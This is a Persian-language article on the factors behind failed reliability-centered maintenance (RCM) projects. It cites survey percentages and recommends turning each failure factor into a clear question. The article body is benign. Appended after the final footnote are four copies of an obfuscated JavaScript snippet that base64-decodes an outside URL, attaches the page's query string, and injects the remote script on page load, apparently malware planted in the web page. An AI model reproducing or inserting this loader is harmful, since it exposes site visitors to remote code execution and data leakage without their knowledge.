چکیده

در این مقاله پس از مرور کوتاهی بر نت مبتنی بر قابلیت اطمینان، عوامل مهم تاثیر‌گذار در شکست پیاده‌سازی این متد در صنایع جهان، بررسی شده است. این عوامل در واقع مسائلی است که باید سازمانی که قصد پیاده‌سازی نگهداری و تعمیرات مبتنی بر قابلیت اطمینان دارد،  بر رفع آنها تمرکز کند تا از اتلاف هزینه­های بالای انجام تحلیل جلوگیری نماید. لذا در پایان متدولوژی حل مساله برای مواجهه با فاکتورهای شکست تشریح شده است.

۱٫       نگهداری و تعمیرات مبتنی بر قابلیت اطمینان (RCM)

نگهداری و تعمیرات مبتنی بر قابلیت اطمینان (RCM) فرآیندی است که طی آن فعالیت­های نگهداشت یک تجهیز در شرایط عملیاتی­اش مشخص می­گردد. RCM ابتدا در صنعت هوایی ایجاد شد، در اواسط دهه ۱۹۸۰ میلادی به صنعت هسته­ای راه پیدا کرد و سپس در همه صنایع گشترش یافت. وجود مزایای زیاد پیاده‌سازی RCM باعث شد اقبال به RCM در سازمان­ها بالا باشد و به عنوان یک روش برتر غالب در صنایع مورد اقبال قرار یرد. ه وریکه طبق یافته­های نظر سنجی انجام شده از سازمان­های مختلف در سراسر دنیا (۷۴۹ پاسخ داده شده به نظر سنجی)، بیش از ۷۰ درصد سازمان­ها یا RCM انجام داده­اند یا برای انجام RCM در حال برنامه‌ریزی هستند و لذا فقط کمتر از یک سوم سازمان‌ها تا کنون برنامه­ای برای پیاده سازی و اجرای RCM ندارند. (شکل ۱)

 

با این وجود بر اساس تحقیقات انجام‌ شده تخمین زده می­شود بیش از ۸۵ درصد آنالیزهای RCM انجام‌شده توسط شرکت­ها هرگز به مرحله اجرا نرسیده‌اند، که می­توان به عنوان به شکست تعبیر نمود، این آمار نشان می­دهد احتمال پیاده سازی موفق RCM بسیار پایین است. [۱]

لذا لازم است برای افزایش احتمال موفقیت، عوامل زمینه‌ساز شکست شناسایی و به روش کارآمد مدیریت گردد. بدین جهت در این مقاله به بررسی عوامل و نحوه مدیریت آنها در راستای افزایش احتمال موفقیت و اجرایی شدن نتایج تحلیل RCM پرداخته شده است. اولین نکته در مدیریت عوامل کلیدی شکست، درک این موضوع است، که با توجه به شرایط هر سازمان باید برای پیاده سازی موفق RCM برنامه‌ریزی صورت پذیرد، و یک راه حل واحد پاسخگوی شرایط متنوع سازمان­های مختلف نیست.

۲٫    عوامل شکست پروژه­های  RCM

اجرای یک پروژه زمانی موفق است که موانع آن به طور کارآمدی رفع گردد. برای رفع مانع لازم است دقت شود که طرح و شناسایی موانع ه نهایی باعث فع مشکل نمی­شود و از سوی دیگر پرداختن به همه موانع و یافتن راهکار برای آنها، می­تواند هزینه­های زیادی را به سازمان تحمیل کند، در حالیکه اغلب عوامل تاثیر چندانی بر روند پروژه ندارند. لذا سازمان باید برای هر پروژه، عوامل کلیدی شکست (CFF) را شناسایی کند. یک روش اثر بخش برای شناسایی  CFF ها، الگوبرداری از سازمان­های دیگر است. در این روش ابتدا کلیه عوامل شکست را استخراج و سپس عواملی که با توجه به شرایط سازمان، اثرگذاری بیشتری دارند، شناسایی می­شود. همان طور که در بخش اول اشاره شد، نرخ موفقیت در پروژه­های RCM بسیار پایین است. طبق نظر سنجی صورت گرفته شده، دلایل و عواملی که منجر به توقف و عدم اجرا کامل RCM شده است، از میان ۶۰۱ پاسخ دهنده، به صورت جدول ۱ می­باشد:

عامل شکست	درصد
پیچیدگی زیاد تحلیل RCM	۱۱٫۴۸
عدم حمایت و پشتیبانی (یا پشتیبانی اندک) مدیریت	۲۰٫۱۳
کمبود شدید نیروی انسانی برای حمایت از تحلیل RCM	۲۱٫۴۶
عدم پشتیبانی از تغییر وضعیت نگهداشت	۱۲٫۳۱
اتمام منابع مالی برای پیاده‌سازی RCM	۸٫۴۹
سایر….	۱۷٫۴۷

جدول ۱- عوامل شکست پروژه­های RCM

علاوه بر عوامل لیست شده در جدول۱، عوامل دیگری نظیر فشار جهت تسریع در انجام آنالیز RCM، مشاوره و تسهیلگری ناکارآمد، عدم آموزش کافی و کارآمد تیم آنالیز RCM، عدم بهره‌گیری از تیم جامع شامل بهره­برداری، نت و مهندسی، توجه بیش از حد به سوابق خرابی­ها،  بومی سازی غل رآیند آنالیز RCM از جمله فاکتورهای تاثیرگذار در شکست RCM هستند.

 

 

۳٫    متدولوژی حل مساله

با وجود اینکه پیاده سازی و اجرای RCM مزایای بالقوه بسیاری برای سازمان­ها دارد، تعداد از سازمان­هایی که موفق به بهره­براری مناسب از این مزایا شده اند، اندک است. لذا جهت موفقیت و غلبه بر عوامل شکست، تعریف اصولی، دقیق و شفاف مساله در قدم اول ضروری است. در یک طبقه­بندی کلی، مساله به ۳ دسته “سوال[۲]، مشکل[۳] و مشکل پیچیده[۴]“  تقسیم بندی می­شود؛ که در این دسته‌بندی فقط بخش اول قابل رفع است که برای حل مشکل ابتدا باید بتوان آن را با توجه به اهداف و استراتژی­های سازمان، تبدیل به یک سوال کرد. یکی از خطاهای رایج در مدیریت مسائل سازمانی در همبن مرحله رخ می­دهد؛ عدم تبدیل مشکل به سوال. چرا یک مشکل واحد می­تواند با توجه به شرایط سازمانی، تبدیل به سوال­های کاملا متفاوت و در نتیجه منجر به رویکردهای مختلف گردد. همچنین با توجه به منابع و توانمندی­های هر سازمان، روش مدیریت مساله نیز متفاوت می­گردد. به عنوان مثال گزاره ” تیم الف پیاده سازی RCM، بی انگیزه هستند.” شناسایی یک مشکل است و سوال مربوط به این مشکل، با توجه به شرایط و برنامه استراتژیک سازمان، می­تواند هر یک از موارد زیر باشد:

• چگونه افراد بی‌انگیزه تیم الف را اخراج نماییم؟
• چگونه مانع توسعه بی‌انگیزگی به سایر تیم­ها شویم؟
• چگونه به افراد تیم الف انگیزه بدهیم؟

به طور خلاصه می­توان گفت، پس از شناسایی عوامل کلیدی شکست (CFF) در پروژه RCM، قدم بعدی، تبدیل CFF ها به سوال واضحی است که بتوان روش کارآمد برای مدیریت آن فاکتور شکست یافت. مشخصا“ یافتن سوال مناسب، گام مهمی در افزایش احتمال پیاده سازی موفق RCM است.

۴٫  نتیجه گیری

بی­تردید سازمان­ها با هدف کاهش هزینه­ها به نگهداری و تعمیرات مبتنی بر قابلیت اطمینان رو می­آورند، اما سازمان­های کمی توانسته­اند، در دستیابی به این هدف موفق باشند و نتیجه پیاده‌سازی نگهداری و تعمیرات مبتنی بر قابلیت اطمینان برای اکثر سازمان­ها چیزی جز اتلاف منابع نبوده است. لذا ضروری است هر سازمان به فراخور شرایط خود، عواملی که می­تواند منجر به شکست در این پروژه می­شود را شناسایی کند، و سپس می­تواند با تبدیل هر عامل شکست به سوالات، راهکار مدیریت آن را یافته و به صورت پیش اقدام مانع از بروز مشکل در روند پیاده‌سازی شود.

منابع

1. پرفسور نجاتی گیلانی، جزوه “آموزش مشاوره درون سازمانی”، ۱۳۹۴.
2. Com, RCM Benchmarking Report، ۲۰۱۵٫

[۱]  مصاحبه نگارنده با تعدادی از مشاورین پیاده سازی RCM در ایران حاکی از آن است که نرخ شکست پروژه­های انجام شده در ایران بیش از ۹۵ درصد است.

[۲] Puzzle

[۳] Problem

[۴] Wicked Problem(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();